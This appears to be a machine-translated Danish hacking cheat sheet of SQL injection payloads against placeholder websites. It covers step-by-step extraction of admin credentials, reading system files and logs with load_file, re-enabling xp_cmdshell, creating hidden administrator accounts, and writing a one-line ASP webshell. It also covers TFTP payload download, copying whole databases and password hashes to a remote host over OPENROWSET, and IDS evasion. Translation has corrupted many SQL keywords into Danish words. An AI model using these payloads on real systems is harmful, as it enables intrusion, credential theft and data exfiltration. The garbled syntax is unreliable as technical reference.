MSSQL cross-database-forespørgsler (stinkende mad!) Mørk)
Få hver eneste dråbe MS SQL ud
SQL-sætningsreferencer og recordset-objekter forklares i detaljer
Om lagrede procedurer i SQL Server
Opret en webshell med mssql-backup
SQL_Injection avancerede anvendelser
Cross-site SQL-injektion (laokai)
Mærkelig SQL-injektion (AMANL)
Avanceret SQL-injektion i SQL Server-applikationer
Sådan bruger du SQL-injektion til at gennemsøge mapper
Gennemgang af SQL-injektionsteknikker (Oversætter: demonalex)
Nogle angreb på SQL-databaser
SQL Injection Angrebsteknik (JSW)
SQL_Injection Avancerede Applikationer (APACHY)
Usædvanlige metoder til SQL-injektion (Guilin Veteran)
Backup af en granat
Tal om php+mysql injektionssætningsstruktur (Heyhehehehe·≯Super· Hei)
Avanceret SQL-injektion med MySQL(angel)
L'injection (My)SQL via PHP
Oracle SQL Language
SQL manuel injektionsleksikon
Forudsætninger kræver værktøjer: SQL Query Analyzer og SqlExec Sunx Version ============================================================================================== 1. Afgør om der er et injektionspunkt ; og 1=1 og 1=2 2. Gæt på, at bordets navn ikke er andet end admin, admin, brugerpass, brugeradgangskode osv.: og 0<>(vælg antal(*) fra *) og 0<>(vælg antal(*) fra admin) — Bestem om admin-tabellen eksisterer 3. Gæt antallet af konti Hvis du støder på 0< gå tilbage til den korrekte side 1< returner fejlsiden for at angive, at antallet af konti er 1 og 0<(vælg tælling(*) fra admin) og 1<(vælg tælling(*) fra administration) 4. Gæt feltnavnet Tilføj det feltnavn, vi tænker på, i len( ) parenteserne. og 1=(vælg antal(*) fra admin hvor len(*)>0)– og 1=(vælg antal(*) fra admin, hvor len(brugernavn)>0) og 1=(vælg tælling(*) fra admin, hvor len(_blank>adgangskode feltnavn)>0) 5. Gæt længden af hvert felt Gæt længden er for at transformere >0, indtil den korrekte side returneres og 1=(vælg antal(*) fra admin, hvor len(*)>0) og 1=(vælg antal(*) fra admin, hvor len(name)>6) fejl og 1=(vælg antal(*) fra admin hvor len(name)>5) Den korrekte længde er 6 og 1=(vælg antal(*) fra admin, hvor len(name)=6) er korrekt og 1=(vælg antal(*) fra admin, hvor len(password)>11) er korrekt og 1=(vælg antal(*) fra admin, hvor len(password)>12) fejllængde er 12 og 1=(vælg antal(*) fra admin, hvor len(password)=12) er korrekt 6. Gæt tegnene og 1=(vælg tælling(*) fra admin hvor venstre(navn,1)=a) — Gæt det første ciffer i brugerens konto og 1=(vælg tælling(*) fra admin, hvor venstre(navn,2)=ab)—Gæt det andet ciffer i brugerens konto Tilføj bare ét tegn ad gangen for at gætte, gæt nok cifre, som du lige har gættet, og kontonummeret kommer frem (1) Gæt navnet på bordet
Anvendte sætninger: og eksisterer (vælg * fra tabelnavn)
For eksempel: og eksisterer (vælg * fra admin)
Hvis siden giver korrekt ekko, betyder det, at det tabelnavn, vi gættede her, er korrekt, og hvis siden er forkert, betyder det, at tabelnavnet, vi skrev her, er forkert
, så skift bordets navn og fortsæt med at gætte, indtil du gætter.
Generelt inkluderer almindeligt anvendte tabelnavne admin, administration, bruger, eller put det i værktøjskørslen (2) Gæt marken
Anvendte sætninger: og findes (vælg feltnavn fra tabelnavn)
For eksempel: og findes (vælg brugernavn fra administrator)
Her, forudsat at admin-tabellen er den tabel, jeg gættede korrekt ovenfor, vil jeg afgøre, om brugernavnsfeltet eksisterer, jeg skal bruge denne sætning, hvis siden
Hvis face-echo'en er korrekt, betyder det, at feltnavnet, vi gættede her, er korrekt, og hvis siden er forkert, betyder det, at feltnavnet, vi skrev her, er forkert
, så skift feltnavnet og fortsæt med at gætte, indtil du gætter.
Generelt inkluderer almindelige feltnavne brugernavn, adgangskode, bruger, pass, navn, pass, pwd, usr, psd og andre felter (3) orden efter
Ordre med er at få summen af antallet af felter på den side, forberedt til næste fælles forespørgsel (4) Union Select
1. Hvis du understøtter fælles forespørgsel, find displaybitten http://www.xxx.com/product_show.asp?id=1 og 1=2 union select
1,2,3,4,5,6,7,8,9,10,11 Antag, at displaybittene er 5,6. Dernæst behøver vi blot at erstatte feltnavnene, der svarer til administratorens brugernavn og adgangskode, med placeringen af display-bitten her
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 fra admin fandt baggrundslogin 2. Hvis fælles forespørgsel ikke understøttes Administratorens brugernavn og adgangskode kan ikke opnås uden fælles forespørgsel – ved brug af Ascii ordret dekodning To Brug order by til at bedømme antallet af bits i tabellen, og hvis det ikke virker, brug union select til at arrangere dem én ad gangen, her antager vi 8 bits Tre Brug en fælles forespørgsel til at bestemme visningsbittene Fire Brug display-bitten til at finde databasenavnet, databaseversion, 5.0 eller nyere kan injiceres
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,bruger(),0x5c, version()),8 Fem Med databasenavnet kan du begynde at få tabelnavnet skema = efterfulgt af HEX-værdien for databasenavnet og gætte tabelnavnet
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +fra+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 Seks Det analyserede tabelnavn bestemmer HEX-værdien af administratorens tabelnavn=tabelnavn og gætter felterne i tabellen http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(TYDELIGT
+column_name),8+ fra+information_schema.columns+hvor+table_name=0x7075625F7765626D6173746572 Syv Efter at have fået felterne i admin-tabellen, lad os få indholdet af felterne http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(TYDELIGT
+brugernavn, 0x5f,userpwd),8+from+pub_webmaster Otte Værktøjet scanner baggrunden: Log ind for at uploade trojaneren efter at have fundet den, og hvis du ikke kan finde den robots.txt fil, kan du få adgang til den fil. Ni Hvis du ikke kan finde baggrunden, vil adgangskoden til MYSQL-administratoren blive afsløret http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(bruger,adgangskode),8+fra+mysql.user Ti Tilfældigt tilgår du en sti, er feedbacken 404-standardsiden for IIS6, hvilket angiver, at webserveren er: Windows+IIS6+php+MySQL-miljø c:\\windows\\system32\\inetsrv\\MetaBase.xml Denne sti kan hente webstedets konfigurationsinformation. Konstruktionsudsagn http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Elleve Analyser koden og find baggrundsadressen I det første trin skal vi få længden af felterne i tabellen Anvendte udsagn: og (vælg top 1 len(feltnavn) fra tabelnavn>0 Som hvad: og (vælg top 1 len(admin_name) fra admin)>0 Siden vises normalt, længden af feltet admin_name er større end 0, og jeg vil indsende:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Siden viser en fejl, der angiver, at feltet er mellem 0 og 10, og længden er 5 ved hjælp af dikotomien Ved at bruge samme metode til at bestemme længden af feltet for administratorens adgangskode får jeg en længde på 16 Trin 2 Lad os nu gå videre til andet trin, tage et bestemt tegn i feltet og få ASCII-koden for tegnet, som bruges
Udtalelse: og (vælg top 1 asc(mid(feltnavn, N,1)) fra tabelnavn)>0 Lad mig se på denne sætning separat, først den inderste mid(brugernavn, 1,1) funktion, som er det første tegn i admin_name-feltet, N
angiver, at de første tegn skal opsnappes, Så repræsenterer den ydre asc()-funktion, som konverterer de tegn, der er opsnappet af mid-funktionen, til ASCII-kode, den yderste øverste 1, returfeltet for førstepladsen
En rekord, så, ">0" til sidst er for at sammenligne den konverterede ASCII-kode med dette tal og til sidst få aflytningen ved konstant at ændre den sidste værdi
Få detaljerne om denne karakter ASCII-kode Indsendelse:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Siden vises normalt, hvilket indikerer, at ASCII-koden for dette tegn er større end 30. Indsendelse:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Siden vises normalt, hvilket indikerer, at ASCII-koden for dette tegn er større end 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII-koden, jeg endte med for denne karakter, er 97 Sammenlign ASCII-tabellen: Det kan konkluderes, at det første tegn er "a". Derefter vil jeg bedømme ASCII-koden for den anden karakter.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Siden vises normalt, hvilket indikerer, at ASCII-koden for tegnet er større end 90, og den sidste værdi ændres altid Den samme metode gav administratorens adgangskode, og resultatet jeg fik var:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 og 1=(vælg top 1 count(*) fra Admin, hvor Asc(mid(pass,5,1))=51) – Denne forespørgselssætning kan gætte den kinesiske bruger og _blank> adgangskode. Erstat blot følgende numre med den kinesiske ASSIC-kode
Konverter til karakterer.
grupper med users.id ved at 1=1–www.myhack58.com Grupper efter users.id, users.username, users.password, users.privs med 1=1– ; indsæt i brugerværdier (666, attacker, foobar, 0xffff)–
UNION Select TOP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor
TABLE_blank>_NAME=logintable- UNION Select TOP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor
TABLE_blank>_NAME=logintabel Hvor COLUMN_blank>_NAME IKKE I (login_blank>_id)- UNION Select TOP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor
TABLE_blank>_NAME=logintabel Hvor COLUMN_blank>_NAME IKKE I
(login_blank>_id,login_blank>_name)- UNION Vælg TOP 1 login_blank>_name FRA logintabel – UNION Vælg TOP 1 adgangskode FRA logintabel hvor login_blank>_name=Rahul– Se på patchen spillet af _blank>-serveren = forkert SP4-patch sort bjælke-sikkerhedsnet og 1=(vælg @@VERSION)–
Se på tilladelserne for _blank> databaseforbindelseskontoen, og den returnerer normalt, hvilket beviser, at det er sysadmin-tilladelsen for _blank> serverrollen. og 1=(Vælg IS_blank>_SRVROLEMEMBER(sysadmin))–
Bestem om databasekontoen _blank> tilsluttet. (Brug SA-konto til at oprette forbindelse og returnere normal = bevis at den tilsluttede konto er SA) og sa=(Vælg System_blank>_user)– og user_blank>_name()=dbo– og 0<>(vælg user_blank>_name()–
Se om xp_blank>_cmdshell sletter og 1=(Vælg tælling(*) FRA master.dbo.sysobjects Hvor xtype = X OG navn = xp_blank>_cmdshell)
–
xp_blank>_cmdshell slettes, gendannes og understøtter absolut sti-gendannelse ; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== databasetilladelse er eksponeret for hjemmesidens fysiske stikode
========================================================================== 1、dropbord [jm_tmp]; Opret tabel [jm_tmp](værdi navrchar(4000) null,data nvarchar(4000)
null) -- Opret tabel
2、 slet [jm_tmp]; Indsæt [jm_tmp] executive master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Indsæt site-mappen i tabelfeltet
3、og (vælg top 1 cast([data] som nvarchar(4000) karakter(124) fra [jm_tmp] Bestilling efter [data]
beskrivelse)=0 '//Eksponeret felt
4. Drop table [jm_tmp] -- slet denne tabel. for kommandoen om at hente granaten
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Andre stationsstier ======================load_file() Almindeligt anvendte følsomme oplysninger =========================================== 1、 erstatte(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、erstatte(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32)) De to ovenstående er for at vise en PHP-fil, der fuldt ud viser koden. Der er tidspunkter, hvor nogle tegn ikke er udskiftet, såsom "<" i stedet for "space", der vender tilbage
Webside. Og koden kan ikke vises.
3. load_file(char(47)) kan angive rodmappen for FreeBSD- og Sunos-systemer
4. Se Linux APACHE virtual host konfigurationsfilen i /etc/httpd/conf/httpd.conf eller /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf eller C:\apache\conf\httpd.conf for at se WINDOWS
System Apache-fil
6. c:/Resin-3.0.14/conf/resin.conf Se resinfilens konfigurationsinformation for hjemmesiden udviklet af jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf for at se den virtuelle JSP-vært, der er konfigureret på Linux-systemet
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin eksplode-sti
11. C:\Windows\system32\inetsrv MetaBase.xml\ Se den virtuelle værtkonfigurationsfil for IIS
12. /usr/local/resin-3.0.22/conf/resin.conf for at se RESIN-konfigurationsfilen for 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Samme som ovenfor
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuel vært
15. /etc/sysconfig/iptables afhænger af firewall-politikken
16. /usr/local/app/php5 b/php.ini PHP-ækvivalente indstillinger
17. /etc/my.cnf MYSQL konfigurationsfil
18. /etc/redhat-release system-version af Red Hat
19 、C:\mysql\data\mysql\user. MYD findes i brugeradgangskoden i MYSQL-systemet
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 for at se IP.
21. /usr/local/app/php5 b/php.ini //php-relaterede indstillinger
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuelle hjemmesideindstillinger
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue viser distributionsinformationen for Linux-kernen
26、/etc/ftpuser
27. Tjek driftslogfilen under LINUX user.bash_history eller .bash_profile
28、/osv/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokal/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Eksperimenter selv med omvendt PING ; brug master; erklære @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ud; Ledelse
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Opret en konto ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Opret en virtuel mappe E-disk: ; erklære @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kør,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Adgangsattributter: (med skrivning til en webshell) erklære @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kør,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Specielt _blank> trick til at burste biblioteket: :%5c=\ eller modificere %5 med / og \ for at committe og 0<>(vælg top 1 stier fra newtable)–
Få databasenavnet (fra 1 til 5 er systemets ID'er, og du kan vurdere dem over 6) og 1=(vælg navn fra master.dbo.sysdatabases, hvor dbid=7)– og 0<>(vælg antal(*) fra master.dbo.sysdatabases, hvor name>1 og dbid=6) Indsend dbid i tur = 7,8,9.... Få flere _blank> databasenavne
og 0<>(vælg øverste 1-navn fra bbs.dbo.sysobjects hvor xtype=U) burster ind i en tabel, forudsat admin og 0<>(vælg øverste 1-navn fra bbs.dbo.sysobjects hvor xtype=du og navn ikke er i (Admin)).
Andre borde. og 0<>(vælg count(*) fra bbs.dbo.sysobjects hvor xtype=you og name=admin og uid>(str(id))) Den numeriske værdi af UID antages at være 18779569 uid=id og 0<>(vælg top 1 navn fra bbs.dbo.syscolumns hvor id=18779569) får et admin-felt, false
Sæt til user_blank>_id og 0<>(vælg navn øverst 1 fra bbs.dbo.syscolumns, hvor id=18779569 og navn ikke er i (id,...)) at eksponere andre felter og 0<(vælg user_blank>_id fra BBS.dbo.admin hvor brugernavn>1) for at få brugernavnet Til gengæld kan du få _blank> adgangskode。。。。。 Antag, at der findes felter som user_blank>_id brugernavn, adgangskode osv
og 0<>(vælg antal(*) fra master.dbo.sysdatabases, hvor name>1 og dbid=6) og 0<>(vælg top 1-navn fra bbs.dbo.sysobjects hvor xtype=U) for at få tabelnavnet og 0<>(vælg øverste 1-navn fra bbs.dbo.sysobjects hvor xtype=du og navn ikke i(Adresse)) og 0<>(vælg antal(*) fra bbs.dbo.sysobjects hvor xtype=you og name=admin og uid>(str(id)))
Bestem id-værdien og 0<>(vælg øverste 1-navn fra BBS.dbo.syscolumns, hvor id=773577794) alle felter
?id=-1 union vælg 1,2,3,4,5,6,7,8,9,10,11,12,13,* fra admin ?id=-1 union vælg 1,2,3,4,5,6,7,8,*,9,10,11,12,13 fra admin (union, access er også nem at bruge)
Få WEB-stien ; Opret tabel [DBO]. [bytte] ([swappass][char](255)); – og (vælg top 1 swappass fra swap)=1– ; Opret TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklar @test varchar(20) exec
Mester.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, værdier=@test
OUTPUT indsæt i paths(path) values(@test)– ; brug ku1; – ; oprette table cmd (STR-billede); – Opret en tabel-cmd med billedtypen 1. Måden at fjerne xp_cmdshell-udvidelsesprocessen på er at bruge følgende udsagn:
hvis findes (vælg * fra dbo.sysobjects hvor id=object_id(N'[dbo].[ xpcmdshell]') og
OBJECTPROPERTY(id,N'IsExtendedProc')=1) executive sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Måden at tilføje xp_cmdshell udvidelsesproces på er at bruge følgende udsagn:
(1) SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Først udfyldes %'er i Format-indstillingen i SqlExec Sunx Version og indtastes i CMD-indstillingen
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
Fjern
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll' Der findes xp_blank>_cmdshell testprocesser: ; Exec Master.. xp_blank>_cmdshell instruktør ; Eksekutiv master.dbo.sp_blank>_addlogin Jiaoniang$; – Tilføj SQL-konti ; exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; – ; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell netbruger jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Exec Master.. xp_blank>_servicecontrol start, planlæg at starte _blank> service Exec Master.. xp_blank>_servicecontrol start, server ; DEKLAR @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c netbruger jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Exec Master.. xp_blank>_cmdshell tftp -i youip get file.exe – Upload filer med TFTP
; Deklar @a sysname-sæt @a=xp_blank>_+cmdshell exec @a dir c:\ ; Deklarér @a sysname-sæt @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; erklære @a; sæt @a=db_blank>_name(); Backup database @a til disk=din IP Din delte mappe bak.dat Hvis det er begrænset, ja. Vælg * fra openrowset(_blank>sqloledb,server; sa; , vælg OK! Ledelse
master.dbo.sp_blank>_addlogin hax)
Forespørgselsstruktur: Vælg * FRA nyheder Hvor id=... OG emne=... OG ..... adminand 1=(vælg tælling(*) fra [bruger] hvor brugernavn=victim og right(left(userpass,01),1)=1)
og UserPass <> Select 123; – ; brug master; – :a eller navn som fff%; – Viser en bruger ved navn ffff. og 1<>(vælg tælling (e-mail) fra [bruger]); – ; Opdater [brugere] sæt e-mail=(vælg top 1-navn fra sysobjects hvor xtype=du og status>0) hvor
name=ffff; – ; Opdater [brugere] sæt e-mail=(vælg top 1 id fra sysobjects hvor xtype=du og name=ad) hvor
name=ffff; – ; Opdater [brugere] sæt e-mail=(vælg top 1 navn fra sysobjects hvor xtype=du og id>581577110)
hvor navn=ffff; – ; Opdater [brugere] sæt e-mail=(vælg top 1 count(id) fra adgangskoden), hvor name=ffff; – ; Opdater [brugere] sæt e-mail=(vælg top 1 PWD fra adgangskode hvor ID=2) hvor navn=FFFF; – ; Opdater [brugere] sæt e-mail=(vælg øverste 1 navn fra adgangskode hvor id=2) hvor navn=ffff; – Ovenstående sætning er at hente den første brugertabel i _blank>-databasen og indtaste tabelnavnet i e-mailfeltet for ffff-brugeren. Ved at se brugerprofilen for ffff kan du få den første tabel kaldet AD Få derefter ID'et på denne tabel i henhold til bordnavnets annonce for at få navnet på den anden tabel
indsæt i brugerværdier( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– indsæt i brugerværdier(667,123,123,0xffff)– Indsæt værdier i brugerværdier (123, admin–, adgangskode, 0xffff)– ; og bruger>0 ; og (vælg antal(*) fra sysobjects)>0 ; og (vælg antal(*) fra mysysobjects)>0 // for access_blank>-databasen
Opfør navnet på datatabellen ; Opdater AAA-sæt AAA=(vælg Top 1-navn fra sysobjects hvor xtype=du og status>0); – Her opdateres det første tabelnavn til feltet AAA. Læs den første tabel, og den anden tabel kan læses sådan her (tilføj og navn efter betingelsen<> navnet på den tabel, du lige har fået). ; Opdater AAA-sæt AAA=(vælg Top 1-navn fra sysobjects, hvor xtype=du og status>0 og
navn<>stemme); – Så id=1552 og eksisterer (vælg * fra aaa hvor aaa>5) Læs den anden tabel op og læs den én efter én, indtil der ikke er nogen tilbage. Læsefeltet ser sådan ud: ; opdater AAA-sættet AAA=(vælg top 1 col_blank>_name(object_blank>_id(tabelnavn),1)); – Så id=152 og eksisterer (vælg * fra aaa, hvor aaa>5) får en fejl og får feltnavnet ; opdater AAA-sættet AAA=(vælg top 1 col_blank>_name(object_blank>_id(tabelnavn),2)); – Så id=152 og eksisterer (vælg * fra aaa, hvor aaa>5) får en fejl og får feltnavnet
[Få navne på datatabellen] [Opdater feltværdien til tabelnavnet, og læs derefter værdien af dette felt op for at få tabelnavnet] Opdater tabelnavn, sæt felt=(vælg øverste 1-navn fra sysobjects, hvor xtype=du og status>0 [ og navn<>
Tabelnavnet du får Find én plus én]) [ hvor betingelse] vælg top 1-navn fra sysobjects hvor xtype=du og
status>0 og navn ikke i (tabel1,tabel2,...) Oprettelse af en databaseadministratorkonto og en systemadministratorkonto _blank> _blank> sårbarhedsinjektion via SQLSERVER [Den aktuelle konto skal være SYSADMIN-gruppen]
[Få datatabel feltnavn] [Opdater feltværdien til feltnavnet, og læs derefter værdien af dette felt op for at få feltnavnet] opdater tabelnavn sæt felt=(vælg top 1 col_blank>_name(object_blank>_id (datatabelnavn til forespørgsel), feltkolonne
For eksempel: 1) [ hvor betingelse]
Omgåelse af IDS-detektion [ved brug af variabler] ; Deklar @a sysname-sæt @a=xp_blank>_+cmdshell exec @a dir c:\ ; Deklarér @a sysname-sæt @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Åbn den fjern _blank> database Grundlæggende syntaks vælg * fra OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vælg * fra tabel1 ) Parametre: (1) OLEDB Udbydernavn 2. Forbindelsesstrengens parameter kan være enhver port til tilslutning, såsom vælg * fra OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,
Vælg * fra tabellen 3. Kopier hele _blank>-databasen for målværten og indsæt alle fjerntabeller i den lokale tabel.
Grundlæggende syntaks: indsæt i OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vælg * fra tabel1) vælg
* fra tabel2 Denne linjesætning kopierer alle data fra table2-tabellen på målhosten til table1-tabellen i den eksterne _blank>-database. Passende reparationer i praktisk anvendelse
Ændr IP-adressen og porten på forbindelsesstrengen, så den peger derhen, hvor du har brug for den, for eksempel: indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg
* fra tabel1) vælg * fra tabel2 indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg
* fra _blank>_sysdatabases) Vælg * fra master.dbo.sysdatabases indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg
* fra _blank>_sysobjects) Vælg * fra user_blank>_database.dbo.sysobjects indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg
* fra _blank>_syscolumns) Vælg * fra user_blank>_database.dbo.syscolumns Replikér _blank> database: indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg
* fra tabel1) vælg * fra databasen.. Tabel1 indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg
* fra tabel2) vælg * fra databasen.. Tabel2
Hashen af adgangskoden, der kopierer hashtabellen (HASH) login _blank> adgangskoden, gemmes i sysxlogins. Sådan gør du: indsæt i OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg * fra _blank>_sysxlogins)
Vælg * fra database.dbo.sysxlogins Når du har hashen, kan du brute force.
